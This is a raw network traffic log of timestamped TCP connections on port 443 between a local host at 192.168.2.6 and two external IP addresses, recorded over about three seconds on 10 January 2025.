Jan 10, 2025 00:21:17.406975985 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.407042980 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.407053947 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.407108068 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.408663034 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.408679008 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.408811092 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.408811092 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.408843994 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.408917904 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.410600901 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.410619020 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.410676956 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.410686016 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.410742998 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.491920948 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.491942883 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.492024899 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.492034912 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.492103100 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.492583990 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.492638111 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.492662907 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.492667913 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.492680073 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.492697954 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.492724895 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.493217945 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.493222952 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.510216951 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.510255098 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.510330915 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.510765076 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.510777950 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.518400908 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.518424988 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.518486023 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.518785000 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.518800974 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.805444002 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.805774927 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.805797100 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.806803942 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.806911945 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.807414055 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.807478905 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.807704926 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.807719946 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.862873077 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.070247889 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.070604086 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.070667982 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.072127104 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.072202921 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.072597980 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.072743893 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.072758913 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.115328074 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.118134975 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.118155956 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.133444071 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.164128065 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.179431915 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.179464102 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.222640038 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.267229080 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.267241955 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.267271996 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.267287016 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.267298937 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.267318010 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.267339945 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.267374039 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.267420053 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.269834995 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.269841909 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.269866943 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.269896984 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.269916058 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.269932032 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.269963026 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.269982100 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.278716087 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.306862116 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.307343006 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.307358027 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.308423042 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.308598995 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.309149027 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.309226990 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.309472084 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.309478045 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.324959993 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.324984074 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.325061083 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.325076103 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.325164080 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.325164080 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.325164080 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.325239897 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.325310946 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.328572989 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.328654051 CET	443	49890	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.328721046 CET	49890	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.339589119 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.339633942 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.339972019 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.340281963 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.340302944 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.350316048 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.350349903 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.350501060 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.350763083 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.350780964 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.353848934 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.353877068 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.353938103 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.353956938 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.353996992 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.354017019 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.356883049 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.356906891 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.356982946 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.357002974 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.357059956 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.358921051 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.358947039 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.359044075 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.359056950 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.359119892 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.359345913 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.359373093 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.359441042 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.359452963 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.359483957 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.359519005 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.362796068 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.447144985 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.447180033 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.447223902 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.447240114 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.447262049 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.447309971 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.447362900 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.447375059 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.496248960 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.496401072 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.496484995 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.572237015 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.575082064 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.575089931 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.575144053 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.575150967 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.575170040 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.575181007 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.575206041 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.575217009 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.575238943 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.575267076 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.660482883 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.660512924 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.660604000 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.660618067 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.660667896 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.697813034 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.697839975 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.697927952 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.697946072 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.697993994 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.744378090 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.744405985 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.744537115 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.744549990 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.744601965 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.745821953 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.745843887 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.745919943 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.745927095 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.745976925 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.747773886 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.747796059 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.747876883 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.747886896 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.747953892 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.812411070 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.830993891 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.831022978 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.831141949 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.831141949 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.831155062 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.831233025 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.831510067 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.831528902 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.831579924 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.831585884 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.831619024 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.831639051 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.832032919 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.832072973 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.832108974 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.832114935 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.832149029 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.832149982 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.832201004 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.835302114 CET	49889	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:18.835326910 CET	443	49889	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:18.883810997 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.884347916 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.884363890 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.885749102 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.886575937 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.887141943 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.887141943 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.887212038 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.901678085 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.902137041 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.902154922 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.905719042 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.905817032 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.907145977 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.907347918 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.907371998 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.941670895 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.941685915 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.955332994 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.956671953 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:18.956688881 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:18.988380909 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.004004002 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.096410036 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.125098944 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.139651060 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.139663935 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.139691114 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.139703035 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.139730930 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.139743090 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.139883041 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.139883041 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.139892101 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.140003920 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.141005993 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.141052008 CET	443	49897	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.141110897 CET	49897	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.172415018 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.172451019 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.172471046 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.172509909 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.172533989 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.172564983 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.172590971 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.172597885 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.172641993 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.172646999 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.221673012 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.221684933 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.222810030 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.222922087 CET	443	49896	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.222984076 CET	49896	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.230961084 CET	49905	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.230978966 CET	443	49905	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.231045961 CET	49905	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.231406927 CET	49905	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.231422901 CET	443	49905	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.246391058 CET	49906	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.246433020 CET	443	49906	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.246496916 CET	49906	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.247328997 CET	49906	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.247349977 CET	443	49906	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.248123884 CET	49907	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.248138905 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.248203039 CET	49907	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.249489069 CET	49907	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.249502897 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.261440992 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.261456966 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.261518955 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.261841059 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.261868954 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.261926889 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.262079954 CET	49910	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.262087107 CET	443	49910	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.262152910 CET	49910	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.262451887 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.262465000 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.262808084 CET	49910	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.262820959 CET	443	49910	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.262959957 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.263006926 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.789685011 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.789994001 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.790011883 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.791337013 CET	443	49906	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.791487932 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.791543007 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.791697979 CET	49906	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.791716099 CET	443	49906	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.791929007 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.792012930 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.792047977 CET	443	49906	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.792490005 CET	49906	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.792521000 CET	49906	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.792550087 CET	443	49906	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.795476913 CET	443	49905	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.795754910 CET	49905	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.795820951 CET	443	49905	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.797317982 CET	443	49905	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.797374964 CET	49905	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.797671080 CET	49905	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.797779083 CET	443	49905	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.797797918 CET	49905	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.798881054 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.799071074 CET	49907	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.799079895 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.799546957 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.799969912 CET	49907	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.800046921 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.800100088 CET	49907	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.800127983 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.800180912 CET	49907	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.800208092 CET	443	49907	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.809736967 CET	443	49910	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.809935093 CET	49910	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.809962034 CET	443	49910	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.810960054 CET	443	49910	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.811029911 CET	49910	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.811340094 CET	49910	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.811399937 CET	443	49910	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.811427116 CET	49910	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.811450958 CET	443	49910	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.814377069 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.814573050 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.814583063 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.815572023 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.815651894 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.816307068 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.816370010 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.833584070 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:19.833595991 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:19.833652973 CET	49906	443	192.168.2.6	165.140.202.155
